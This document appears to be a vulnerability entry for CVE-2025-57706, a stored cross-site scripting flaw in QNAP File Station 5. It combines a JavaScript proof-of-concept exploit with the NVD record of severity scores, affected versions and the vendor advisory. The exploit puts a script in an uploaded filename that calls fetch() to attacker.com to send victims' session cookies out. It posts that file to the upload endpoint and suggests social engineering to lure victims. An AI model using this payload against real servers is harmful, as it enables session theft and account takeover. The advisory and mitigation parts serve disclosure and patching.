CVE-2025-57706

// CVE-2025-57706 PoC - Stored XSS in QNAP File Station 5 // This PoC demonstrates how an authenticated attacker can inject malicious JavaScript // through file upload functionality // Step 1: Create a malicious filename containing XSS payload const maliciousFilename = '<script>\n fetch("https://attacker.com/steal?cookie=" + document.cookie)\n</script>'; // Step 2: Upload file with XSS payload as filename async function exploitXSS() { const targetUrl = 'https://vulnerable-qnap-server/qwebfile/Upload'; // File Station upload endpoint const formData = new FormData(); formData.append('Filename', maliciousFilename); formData.append('File', new Blob(['test content'], {type: 'text/plain'}), 'test.txt'); try { const response = await fetch(targetUrl, { method: 'POST', credentials: 'include', // Include session cookies body: formData }); console.log('XSS payload uploaded successfully'); console.log('When other users view the file list, the script will execute'); } catch (error) { console.error('Exploitation failed:', error); } } // Step 3: Social engineering to make victim visit the page // The victim needs to access File Station file list page where the malicious filename is displayed // Mitigation: Upgrade to File Station 5.5.6.5018 or later // Or implement input sanitization and output encoding on the server side

{"cve": {"id": "CVE-2025-57706", "sourceIdentifier": "[email protected]", "published": "2025-11-07T16:15:40.430", "lastModified": "2025-11-14T20:11:27.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability has been reported to affect File Station 5. If a remote attacker gains a user account, they can then exploit the vulnerability to bypass security mechanisms or read application data.\n\nWe have already fixed the vulnerability in the following version:\nFile Station 5 5.5.6.5018 and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:file_station:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5.6.4691", "versionEndExcluding": "5.5.6.5018", "matchCriteriaId": "A8CD1AA7-AC4B-4100-9789-50556BA83F52"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-38", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}